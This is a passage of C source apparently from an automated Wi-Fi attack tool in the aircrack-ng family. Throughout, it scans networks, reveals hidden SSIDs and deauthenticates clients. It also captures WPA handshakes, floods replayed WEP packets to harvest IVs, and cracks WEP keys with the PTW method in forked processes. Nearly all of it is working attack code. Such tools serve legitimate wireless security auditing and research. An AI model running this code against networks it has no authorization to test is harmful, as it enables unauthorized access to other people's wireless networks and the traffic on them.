	do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ);

	time_printf(V_VERBOSE, "Associating...\n");

	timer_in(_conf.cf_to * 1000, network_assoc, n);
}

static int need_connect(struct network * n)
{
	REQUIRE(n != NULL);

	if (n->n_crypto == CRYPTO_WPA) return (0);

	switch (n->n_astate)
	{
		case ASTATE_READY:
		case ASTATE_WEP_PRGA_GET:
		case ASTATE_WEP_FLOOD:
			return (1);

		default:
			return (0);
	}
}

static int network_connect(struct network * n)
{
	REQUIRE(n != NULL);

	switch (n->n_wstate)
	{
		case WSTATE_NONE:
			network_auth(n);
			break;

		case WSTATE_AUTH:
			network_assoc(n);
			break;

		case WSTATE_ASSOC:
			return (1);
	}

	return (0);
}

static void prga_get(struct network * n)
{
	REQUIRE(n != NULL);

	if (n->n_replay_len)
	{
		n->n_astate = ASTATE_WEP_FLOOD;
		attack_continue(n);
	}
}

static void speed_add(struct speed * s)
{
	REQUIRE(s != NULL);

	if (s->s_start.tv_sec == 0)
		memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));

	s->s_num++;
}

static void speed_calculate(struct speed * s)
{
	REQUIRE(s != NULL);

	int diff = time_diff(&s->s_start, &_state.s_now);

	if (diff < (1000 * 1000)) return;

	s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0));

	memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
	s->s_num = 0;
}

static void do_flood(struct network * n)
{
	REQUIRE(n != NULL);

	struct ieee80211_frame * wh = (struct ieee80211_frame *) n->n_replay;

	if (!network_connect(n)) return;

	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));

	wifi_send(n->n_replay, n->n_replay_len);
	speed_add(&n->n_flood_out);
}

static void wep_flood(void * a)
{
	REQUIRE(a != NULL);

	struct network * n = a;

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
		|| n->n_astate != ASTATE_WEP_FLOOD)
		return;

	do_flood(n);

	timer_in(_conf.cf_floodfreq, wep_flood, n);
}

static void replay_check(void * a)
{
	REQUIRE(a != NULL);

	struct network * n = a;

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
		|| n->n_astate != ASTATE_WEP_FLOOD)
		return;

	if (n->n_replay_got > 3) return;

	n->n_replay_len = 0;
	n->n_astate = ASTATE_WEP_PRGA_GET;
}

static void start_flood(struct network * n)
{
	REQUIRE(n != NULL);

	n->n_replay_got = 0; /* refresh replay packet if it sucks */

	timer_in(5 * 1000 * 1000, replay_check, n);
	wep_flood(n);
}

static void attack_wep(struct network * n)
{
	REQUIRE(n != NULL);

	if (!n->n_ssid[0])
	{
		n->n_astate = ASTATE_DEAUTH;
		deauth(n);
		return;
	}

	if (!network_connect(n)) return;

	switch (n->n_astate)
	{
		case ASTATE_READY:
			n->n_astate = ASTATE_WEP_PRGA_GET;
		/* fallthrough */
		case ASTATE_WEP_PRGA_GET:
			prga_get(n);
			break;

		case ASTATE_WEP_FLOOD:
			start_flood(n);
			break;
	}
}

static void attack_continue(struct network * n)
{
	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;

	REQUIRE(n != NULL);

	switch (n->n_astate)
	{
		case ASTATE_NONE:
			n->n_astate = ASTATE_PING;
		/* fall through */
		case ASTATE_PING:
			n->n_ping_got = n->n_ping_sent = 0;
			attack_ping(n);
			return;

		case ASTATE_DONE:
			pwned(n);
		/* fallthrough */
		case ASTATE_UNREACH:
			if (_conf.cf_bssid)
				_state.s_state = STATE_DONE;
			else
				attack_next();
			return;
	}

	switch (n->n_crypto)
	{
		case CRYPTO_WPA:
			attack_wpa(n);
			break;

		case CRYPTO_WEP:
			attack_wep(n);
			break;
	}
}

static void attack(struct network * n)
{
	REQUIRE(n != NULL);

	_state.s_curnet = n;
	_state.s_state = STATE_ATTACK;

	channel_set(n->n_chan);

	char * mac = mac2string(n->n_bssid);
	ALLEGE(mac != NULL);
	time_printf(V_VERBOSE, "Pwning [%s] %s\n", n->n_ssid, mac);
	free(mac);

	if (n->n_start.tv_sec == 0)
		memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start));

	if (!_conf.cf_bssid)
		timer_in(_conf.cf_attackwait * 1000 * 1000, attack_watchdog, n);

	n->n_attempts++;

	attack_continue(n);
}

static void found_new_client(struct network * n, struct client * c)
{
	REQUIRE(n != NULL);
	REQUIRE(c != NULL);

	char * mac = mac2string(c->c_mac);
	ALLEGE(mac != NULL);
	time_printf(
		V_VERBOSE, "Found client for network [%s] %s\n", n->n_ssid, mac);
	free(mac);

	if (n->n_mac_filter && !n->n_client_mac) attack_continue(n);
}

static void found_new_network(struct network * n)
{
	REQUIRE(n != NULL);

	struct client * c = n->n_clients.c_next;

	network_print(n);

	while (c)
	{
		found_new_client(n, c);
		c = c->c_next;
	}

	if (_conf.cf_bssid
		&& memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0)
	{
		if (should_attack(n))
		{
			attack(n);
		}
		else
		{
			time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid);
			_state.s_state = STATE_DONE;
		}
	}
}

static void packet_copy(struct packet * p, void * d, int len)
{
	REQUIRE(p != NULL);
	REQUIRE(len <= (int) sizeof(p->p_data));

	p->p_len = len;
	memcpy(p->p_data, d, len);
}

static void packet_write_pcap(int fd, struct packet * p);

static void found_ssid(struct network * n)
{
	REQUIRE(n != NULL);

	unsigned char * p;
	int ssidlen;
	int origlen;

	char * mac = mac2string(n->n_bssid);
	ALLEGE(mac != NULL);
	time_printf(V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac);
	free(mac);

	/* beacon surgery */
	p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2;

	ssidlen = strlen(n->n_ssid);
	ALLEGE((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data));

	ALLEGE(*p == IEEE80211_ELEMID_SSID);
	p++;

	origlen = *p;
	*p++ = ssidlen;

	ALLEGE(origlen == 0 || p[0] == 0);

	memmove(p + ssidlen,
			p + origlen,
			n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data));
	memcpy(p, n->n_ssid, ssidlen);

	n->n_beacon.p_len += ssidlen - origlen;

	if (n->n_client_handshake)
	{
		n->n_astate = ASTATE_WPA_CRACK;
		attack_continue(n);
	}

	if (n->n_crypto == CRYPTO_WEP)
	{
		n->n_astate = ASTATE_READY;
		attack_continue(n);
	}
}

static int parse_rsn(struct network * n, unsigned char * p, int l, int rsn)
{
	REQUIRE(n != NULL);
	REQUIRE(p != NULL);

	int c;
	unsigned char * start = p;
	int psk = 0;

	if (l < 2 || l >= INT_MAX) return (0);

	if (memcmp(p, "\x01\x00", 2) != 0) return (0);

	n->n_crypto = CRYPTO_WPA;

	if (l < 8) return (-1);

	p += 2;
	p += 4;

	/* cipher */
	c = le16toh(*((uint16_t *) p));

	p += 2 + 4 * c;

	if (l < ((p - start) + 2)) return (-1);

	/* auth */
	c = le16toh(*((uint16_t *) p));
	p += 2;

	if (l < ((p - start) + c * 4)) return (-1);

	while (c--)
	{
		if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;

		if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;

		p += 4;
	}

	ALLEGE(l >= (p - start));

	if (!psk) n->n_crypto = CRYPTO_WPA_MGT;

	return (0);
}

static int parse_elem_vendor(struct network * n, unsigned char * e, int l)
{
	REQUIRE(n != NULL);
	REQUIRE(e != NULL);

	struct ieee80211_ie_wpa * wpa = (struct ieee80211_ie_wpa *) e;

	if (l < 5) return (0);

	if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return (0);

	if (l < 8) return (0);

	if (wpa->wpa_type != WPA_OUI_TYPE) return (0);

	return (parse_rsn(n, (unsigned char *) &wpa->wpa_version, l - 6, 0));
}

static void
wifi_beacon(struct network * n, struct ieee80211_frame * wh, int totlen)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	unsigned char * p = (unsigned char *) (wh + 1);
	int bhlen = 8 + 2 + 2;
	int new = 0;
	int len = totlen;
	int hidden = 0;
	int ssids = 0;

	totlen -= sizeof(*wh);

	if (totlen < bhlen) goto __bad;

	if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;

	if (!n->n_have_beacon) new = 1;

	n->n_have_beacon = 1;
	n->n_crypto = CRYPTO_WEP;
	n->n_dbm = _state.s_ri->ri_power;

	p += bhlen;
	totlen -= bhlen;

	while (totlen > 2)
	{
		int id = *p++;
		int l = *p++;

		totlen -= 2;

		if (totlen < l) goto __bad;

		switch (id)
		{
			case IEEE80211_ELEMID_SSID:
				if (++ssids > 1) break;

				if (l == 0 || p[0] == 0)
					hidden = 1;
				else
				{
					memcpy(n->n_ssid, p, l);
					n->n_ssid[l] = 0;
				}
				break;

			case IEEE80211_ELEMID_DSPARMS:
				n->n_chan = *p;
				break;

			case IEEE80211_ELEMID_VENDOR:
				if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad;
				break;

			case IEEE80211_ELEMID_RSN:
				if (parse_rsn(n, p, l, 1) == -1) goto __bad;
				break;

			default:
				//			printf("id %d len %d\n", id, l);
				break;
		}

		p += l;
		totlen -= l;
	}

	if (new)
	{
		packet_copy(&n->n_beacon, wh, len);
		found_new_network(n);

		if (hidden && n->n_ssid[0]) found_ssid(n);

		if (ssids > 1 && should_attack(n))
		{
			char * mac = mac2string(n->n_bssid);
			ALLEGE(mac != NULL);
			time_printf(V_NORMAL,
						"WARNING: unsupported multiple SSIDs"
						" for network %s [%s]\n",
						mac,
						n->n_ssid);
			free(mac);
		}
	}

	return;
__bad:
	printf("\nBad beacon\n");
}

static inline int for_us(struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0;
}

static inline void has_mac_filter(struct network * n)
{
	REQUIRE(n != NULL);

	time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid);
	n->n_mac_filter = 1;
}

static void wifi_auth(struct network * n, struct ieee80211_frame * wh, int len)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	uint16_t * p = (uint16_t *) (wh + 1);
	int rc;

	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;

	rc = le16toh(p[2]);

	if (for_us(wh) && rc != 0)
	{
		if (!n->n_mac_filter) has_mac_filter(n);
	}

	if (for_us(wh) && n->n_astate == ASTATE_PING)
	{
		ping_reply(n, wh);
		return;
	}

	if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n))
	{
		if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return;

		if (le16toh(p[2]) == 0)
		{
			n->n_wstate = WSTATE_AUTH;
			time_printf(V_VERBOSE, "Authenticated\n");
			network_connect(n);
		}
	}

	return;
__bad:
	printf("Bad auth\n");
}

static void found_mac(struct network * n)
{
	REQUIRE(n != NULL);

	if (!n->n_mac_filter || n->n_got_mac) return;

	ALLEGE(n->n_client_mac != NULL);

	char * mac = mac2string(n->n_client_mac->c_mac);
	ALLEGE(mac != NULL);
	time_printf(V_NORMAL, "Found MAC %s for %s\n", mac, n->n_ssid);
	free(mac);

	n->n_got_mac = 1;
}

static void
wifi_assoc_resp(struct network * n, struct ieee80211_frame * wh, int len)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	uint16_t * p = (uint16_t *) (wh + 1);

	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;

	if (for_us(wh) && n->n_wstate == WSTATE_AUTH)
	{
		if (le16toh(p[1]) == 0)
		{
			int aid = le16toh(p[2]) & 0x3FFF;

			n->n_wstate = WSTATE_ASSOC;
			time_printf(
				V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid);

			found_mac(n);

			attack_continue(n);
		}
		else
			time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1]));
	}

	return;
__bad:
	printf("Bad assoc resp\n");
}

static void grab_hidden_ssid(struct network * n,
							 struct ieee80211_frame * wh,
							 int len,
							 int off)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	unsigned char * p = ((unsigned char *) (wh + 1)) + off;
	int l;

	if (n->n_ssid[0]) return;

	len -= sizeof(*wh) + off + 2;

	if (len < 0) goto __bad;

	if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;

	l = *p++;
	if (l > len) goto __bad;

	if (l == 0) return;

	memcpy(n->n_ssid, p, l);
	n->n_ssid[l] = 0;

	if (!n->n_have_beacon) return;

	found_ssid(n);
	return;
__bad:
	printf("\nbad grab_hidden_ssid\n");
	return;
}

static void wifi_mgt(struct network * n, struct ieee80211_frame * wh, int len)
{
	REQUIRE(wh != NULL);

	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
	{
		case IEEE80211_FC0_SUBTYPE_BEACON:
			wifi_beacon(n, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_AUTH:
			wifi_auth(n, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
			wifi_assoc_resp(n, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_DEAUTH:
			if (for_us(wh) && need_connect(n))
			{
				REQUIRE(n != NULL);

				time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid);
				n->n_wstate = WSTATE_NONE;
				network_connect(n);
			}
			break;

		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
			grab_hidden_ssid(n, wh, len, 2 + 2);
			break;

		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
			grab_hidden_ssid(n, wh, len, 2 + 2 + 6);
			break;

		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
			grab_hidden_ssid(n, wh, len, 8 + 2 + 2);
			break;

		default:
			if (for_us(wh))
			{
				printf("UNHANDLED MGMT %d\n",
					   (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
						   >> IEEE80211_FC0_SUBTYPE_SHIFT);
			}
			break;
	}
}

static inline void wifi_ctl(struct ieee80211_frame * wh, int len)
{
	UNUSED_PARAM(wh);
	UNUSED_PARAM(len);
}

static unsigned char * get_client_mac(struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	unsigned char * bssid = get_bssid(wh);
	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;

	if (type == IEEE80211_FC0_TYPE_CTL) return (NULL);

	if (!bssid) return (wh->i_addr2);

	if (bssid == wh->i_addr1)
		return (wh->i_addr2);
	else
		return (wh->i_addr1);
}

static struct client * client_get(struct network * n,
								  struct ieee80211_frame * wh)
{
	REQUIRE(n != NULL);

	struct client * c = n->n_clients.c_next;
	unsigned char * cmac = get_client_mac(wh);

	if (!cmac) return (NULL);

	while (c)
	{
		if (memcmp(c->c_mac, cmac, 6) == 0) return (c);

		c = c->c_next;
	}

	return (NULL);
}

static struct client * client_update(struct network * n,
									 struct ieee80211_frame * wh)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	unsigned char * cmac = get_client_mac(wh);
	struct client * c;
	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;

	if (!cmac) return (NULL);

	/* let's not pwn ourselves */
	if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return (NULL);

	if (cmac == wh->i_addr1)
	{
		if (memcmp(cmac, BROADCAST, 6) == 0) return (NULL);

		/* multicast */
		if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return (NULL);

		/* ipv6 multicast */
		if (memcmp(cmac, "\x33\x33", 2) == 0) return (NULL);

		/* MAC PAUSE */
		if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return (NULL);

		/* fuck it */
		if (cmac[0] == 0x01) return (NULL);
	}

	/* here we can choose how conservative to be */
	if (type == IEEE80211_FC0_TYPE_MGT)
	{
		switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
		{
			case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
				break;

			case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
			default:
				return (NULL);
		}
	}

	c = client_get(n, wh);
	if (!c)
	{
		c = xmalloc(sizeof(*c));

		memset(c, 0, sizeof(*c));

		memcpy(c->c_mac, cmac, sizeof(c->c_mac));
		c->c_next = n->n_clients.c_next;
		n->n_clients.c_next = c;

		if (n->n_have_beacon
			&& (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP))
			found_new_client(n, c);
	}

	return (c);
}

static void process_eapol(struct network * n,
						  struct client * c,
						  unsigned char * p,
						  int len,
						  struct ieee80211_frame * wh,
						  int totlen)
{
	REQUIRE(n != NULL);

	int num, i;

	if (n->n_client_handshake) return;

	num = eapol_handshake_step(p, len);
	if (num == 0) return;

	REQUIRE(c != NULL);

	/* reset... should use time, too.  XXX conservative - check retry */
	if (c->c_wpa == 0 || num <= c->c_wpa)
	{
		for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;

		c->c_wpa_got = 0;
	}

	c->c_wpa = num;

	switch (num)
	{
		case 1:
			c->c_wpa_got |= 1;
			break;

		case 2:
			c->c_wpa_got |= 2;
			c->c_wpa_got |= 4;
			break;

		case 3:
			REQUIRE(p != NULL);
			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;

			c->c_wpa_got |= 4;
			break;

		case 4:
			REQUIRE(p != NULL);
			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;

			c->c_wpa_got |= 4;
			break;

		default:
			abort();
	}

	packet_copy(&c->c_handshake[num - 1], wh, totlen);

	time_printf(V_VERBOSE,
				"Got WPA handshake step %d (have %d) for %s\n",
				num,
				c->c_wpa_got,
				n->n_ssid);

	if (c->c_wpa_got == 7)
	{
		n->n_client_handshake = c;

		time_printf(
			V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid);

		n->n_client_mac = c;
		found_mac(n);

		if (n->n_ssid[0])
		{
			n->n_astate = ASTATE_WPA_CRACK;
			attack_continue(n);
		}
	}
}

static int is_replayable(struct ieee80211_frame * wh, int len)
{
	unsigned char clear[2048];
	int dlen = len - 4 - 4;
	int clearsize;
	int weight[16];

	known_clear(clear, &clearsize, weight, (void *) wh, dlen);
	if (clearsize < 16) return (0);

	return (1);
}

static void get_replayable(struct network * n,
						   struct ieee80211_frame * wh,
						   unsigned char * body,
						   int len)
{
	if (!is_replayable(wh, len)) return;

	REQUIRE(n != NULL);

	if (n->n_replay_len) return;

	n->n_replay_got = 0;

	REQUIRE(wh != NULL);

	assert(len + sizeof(*wh) <= (int) sizeof(n->n_replay));

	REQUIRE(body != NULL);

	memcpy(&n->n_replay[sizeof(*wh)], body, len);
	n->n_replay_len = len + sizeof(*wh);

	wh = (struct ieee80211_frame *) n->n_replay;
	fill_basic(n, wh);
	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3));
	memcpy(wh->i_addr3, BROADCAST, sizeof(wh->i_addr3));

	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;

	time_printf(V_NORMAL,
				"Got replayable packet for %s [len %d]\n",
				n->n_ssid,
				len - 4 - 4);

	if (_state.s_state == STATE_ATTACK && _state.s_curnet == n
		&& n->n_astate == ASTATE_WEP_PRGA_GET)
		attack_continue(n);
}

static void
check_replay(struct network * n, struct ieee80211_frame * wh, int len)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
		|| n->n_astate != ASTATE_WEP_FLOOD)
		return;

	if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS)) return;

	if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return;

	if (len != (int) (n->n_replay_len - sizeof(*wh))) return;

	n->n_replay_got++;
	memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last));

	// ack clocked
	do_flood(n);
}

static void
do_wep_crack(struct cracker * c, struct network * n, int len, int limit)
{
	REQUIRE(c != NULL);
	REQUIRE(n != NULL);

	unsigned char key[PTW_KEYHSBYTES];
	int(*all)[256];
	int i, j;

	all = xmalloc(256 * 32 * sizeof(int));

	// initial setup (complete keyspace)
	for (i = 0; i < 32; i++)
	{
		for (j = 0; j < 256; j++) all[i][j] = 1;
	}

	if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1)
		return;

	IGNORE_LTZ(write(c->cr_pipe[1], key, len));
}

static inline void crack_wep64(struct cracker * c, struct network * n)
{
	do_wep_crack(c, n, 5, KEYLIMIT / 10);
}

static inline void crack_wep128(struct cracker * c, struct network * n)
{
	do_wep_crack(c, n, 13, KEYLIMIT);
}

static void cracker_start(struct cracker * c, cracker_cb cb, struct network * n)
{
	REQUIRE(c != NULL);

	if (pipe(c->cr_pipe) == -1) err(1, "pipe()");

	c->cr_pid = fork();
	if (c->cr_pid == -1) err(1, "fork()");

	if (c->cr_pid)
	{
		/* parent */
		close(c->cr_pipe[1]);
	}
	else
	{
		/* child */
		close(c->cr_pipe[0]);
		cb(c, n);
		exit(EXIT_SUCCESS);
	}
}

static void wep_crack_start(struct network * n)
{
	REQUIRE(n != NULL);

	cracker_kill(&n->n_cracker_wep[0]);
	cracker_kill(&n->n_cracker_wep[1]);

	cracker_start(&n->n_cracker_wep[0], crack_wep64, n);
	cracker_start(&n->n_cracker_wep[1], crack_wep128, n);
}

static void wep_crack(struct network * n)
{
	REQUIRE(n != NULL);

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
		|| n->n_astate != ASTATE_WEP_FLOOD)
	{
		n->n_crack_next = n->n_data_count + 1;
		return;
	}

	wep_crack_start(n);

	n->n_crack_next += _conf.cf_crack_int;
}

static int ptw_add(struct network * n,
				   struct ieee80211_frame * wh,
				   unsigned char * body,
				   int len)
{
	unsigned char clear[2048];
	int dlen = len - 4 - 4;
	int clearsize;
	int i, weight[16], k, j;
	int rc = 0;

	k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
	if (clearsize < 16) return (rc);

	for (j = 0; j < k; j++)
	{
		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
	}

	if (!n->n_ptw)
	{
		n->n_ptw = PTW_newattackstate();
		if (!n->n_ptw) err(1, "PTW_newattackstate()");
	}

	if (PTW_addsession(n->n_ptw, body, clear, weight, k))
	{
		speed_add(&n->n_flood_in);
		n->n_data_count++;
		rc = 1;
	}

	if (n->n_data_count == n->n_crack_next) wep_crack(n);

	return (rc);
}

static void ptw_free(struct network * n)
{
	REQUIRE(n != NULL);

	if (n->n_ptw)
	{
		PTW_freeattackstate(n->n_ptw);
		n->n_ptw = NULL;
	}
}

static void wifi_data(struct network * n, struct ieee80211_frame * wh, int len)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	unsigned char * p = (unsigned char *) (wh + 1);
	struct llc * llc;
	int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
	int eapol = 0;
	struct client * c;
	int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
	int orig = len;

	len -= sizeof(*wh);

	if (stype == IEEE80211_FC0_SUBTYPE_QOS)
	{
		p += 2;
		len -= 2;
	}

	if (!wep && len >= 8)
	{
		llc = (struct llc *) p;

		eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;

		p += 8;
		len -= 8;
	}

	if (!wep && !eapol) return;

	if (!n->n_have_beacon)
	{
		n->n_chan = _state.s_chan;
		n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP;

		/* XXX */
		if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA;
	}

	if (eapol)
	{
		c = client_get(n, wh);

		/* c can be null if using our MAC (e.g., VAPs) */
		if (c) process_eapol(n, c, p, len, wh, orig);
		return;
	}

	if (n->n_crypto != CRYPTO_WEP)
	{
		ptw_free(n);
		return;
	}

	if (len < (4 + 4)) return;

	if (n->n_astate == ASTATE_DONE) return;

	get_replayable(n, wh, p, len);

	check_replay(n, wh, len);

	if (ptw_add(n, wh, p, len))
	{
		if (n->n_have_beacon && !n->n_beacon_wrote)
		{
			packet_write_pcap(_state.s_wepfd, &n->n_beacon);

			n->n_beacon_wrote = 1;
		}

		write_pcap(_state.s_wepfd, wh, orig);
	}
}

static struct network * network_update(struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	struct network * n;
	struct client * c = NULL;
	unsigned char * bssid;
	int fromnet;

	bssid = get_bssid(wh);
	if (!bssid) return (NULL);

	n = network_get(wh);
	if (!n) n = network_add(wh);

	ALLEGE(n != NULL);

	if ((fromnet = (memcmp(wh->i_addr2, bssid, sizeof(wh->i_addr2)) == 0)))
		n->n_dbm = _state.s_ri->ri_power;

	c = client_update(n, wh);
	if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power;

	return (n);
}

static void wifi_read(void)
{
	struct state * s = &_state;
	unsigned char buf[2048];
	int rd;
	struct rx_info ri;
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	struct network * n;

	memset(buf, 0, sizeof(buf));

	rd = wi_read(s->s_wi, NULL, NULL, buf, sizeof(buf), &ri);
	if (rd < 0) err(1, "wi_read()");

	if (rd < (int) sizeof(struct ieee80211_frame))
	{
		return;
	}

	s->s_ri = &ri;

	n = network_update(wh);

	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
	{
		case IEEE80211_FC0_TYPE_MGT:
			wifi_mgt(n, wh, rd);
			break;

		case IEEE80211_FC0_TYPE_CTL:
			wifi_ctl(wh, rd);
			break;

		case IEEE80211_FC0_TYPE_DATA:
			wifi_data(n, wh, rd);
			break;

		default:
			printf("Unknown type %d\n", wh->i_fc[0]);
	}
}

static const char * astate2str(int astate)
{
	static char num[16];
	static const char * states[] = {"NONE",
									"PING",
									"READY",
									"DEAUTH",
									"WPA_CRACK",
									"GET REPLAY",
									"FLOOD",
									"NONE",
									"DONE"};

	if (astate >= (int) ArrayCount(states))
	{
		snprintf(num, sizeof(num), "%d", astate);
		return (num);
	}

	return (states[astate]);
}

static const char * wstate2str(int astate)
{
	static char num[16];
	static const char * states[] = {"NONE", "AUTH", "ASSOC"};

	if (astate >= (int) ArrayCount(states))
	{
		snprintf(num, sizeof(num), "%d", astate);
		return (num);
	}

	return (states[astate]);
}

static void print_status(int advance)
{
	static const char status[] = "|/-|/-\\";
	static const char * statusp = status;
	struct network * n = _state.s_curnet;
	struct client * c;
	int ccount = 0;

	time_printf(V_NORMAL, "%c", *statusp);

	switch (_state.s_state)
	{
		case STATE_SCAN:
			printf(" Scanning chan %.2d", _state.s_chan);
			break;

		case STATE_ATTACK:
			printf(" Attacking [%s] %s - %s",
				   n->n_ssid,
				   n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP",
				   astate2str(n->n_astate));

			if (need_connect(n) && n->n_wstate != WSTATE_ASSOC)
				printf(" [conn: %s]", wstate2str(n->n_wstate));

			switch (n->n_astate)
			{
				case ASTATE_WEP_FLOOD:
					if (n->n_cracker_wep[0].cr_pid
						|| n->n_cracker_wep[1].cr_pid)
						printf(" cracking");

					speed_calculate(&n->n_flood_in);
					speed_calculate(&n->n_flood_out);

					printf(" - %d IVs rate %u [%u PPS out] len %d",
						   n->n_data_count,
						   n->n_flood_in.s_speed,
						   n->n_flood_out.s_speed,
						   (int) (n->n_replay_len
								  - sizeof(struct ieee80211_frame)
								  - 4
								  - 4));
					break;

				case ASTATE_DEAUTH:
					c = n->n_clients.c_next;
					while (c)
					{
						ccount++;

						c = c->c_next;
					}

					if (ccount) printf(" (know %d clients)", ccount);
					break;
			}

			break;
	}

	printf("\r");
	fflush(stdout);

	if (advance) statusp++;

	if (statusp >= (&status[sizeof(status) - 1])) statusp = status;
}

static void make_progress(void)
{
	if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2)
	{
		print_work();
		attack_next();
		_state.s_hopcycles = 0;
	}
}

static void cracker_check(struct network * n, struct cracker * c)
{
	REQUIRE(c != NULL);

	unsigned char buf[1024];
	int rc;

	rc = read(c->cr_pipe[0], buf, sizeof(buf));
	if (rc <= 0)
	{
		cracker_kill(c);
		return;
	}

	ALLEGE(rc <= (int) sizeof(n->n_key));

	memcpy(n->n_key, buf, rc);
	n->n_key_len = rc;

	time_printf(V_NORMAL, "Got key for %s [", n->n_ssid);
	print_hex(n->n_key, n->n_key_len);
	printf("] %d IVs\n", n->n_data_count);

	cracker_kill(&n->n_cracker_wep[0]);
	cracker_kill(&n->n_cracker_wep[1]);

	n->n_astate = ASTATE_DONE;
	ptw_free(n);
	attack_continue(n);
}

static int add_cracker_fds(fd_set * fds, int max)
{
	struct network * n;
	int i;

	if (_state.s_state != STATE_ATTACK) return (max);

	n = _state.s_curnet;

	for (i = 0; i < 2; i++)
	{
		struct cracker * c = &n->n_cracker_wep[i];

		if (c->cr_pipe[0])
		{
			FD_SET(c->cr_pipe[0], fds);

			if (c->cr_pipe[0] > max) max = c->cr_pipe[0];
		}
	}

	return (max);
}

static void check_cracker_fds(fd_set * fds)
{
	struct network * n;
	struct cracker * c;
	int i;

	if (_state.s_state != STATE_ATTACK) return;

	n = _state.s_curnet;

	for (i = 0; i < 2; i++)
	{
		c = &n->n_cracker_wep[i];

		if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c);
	}
}

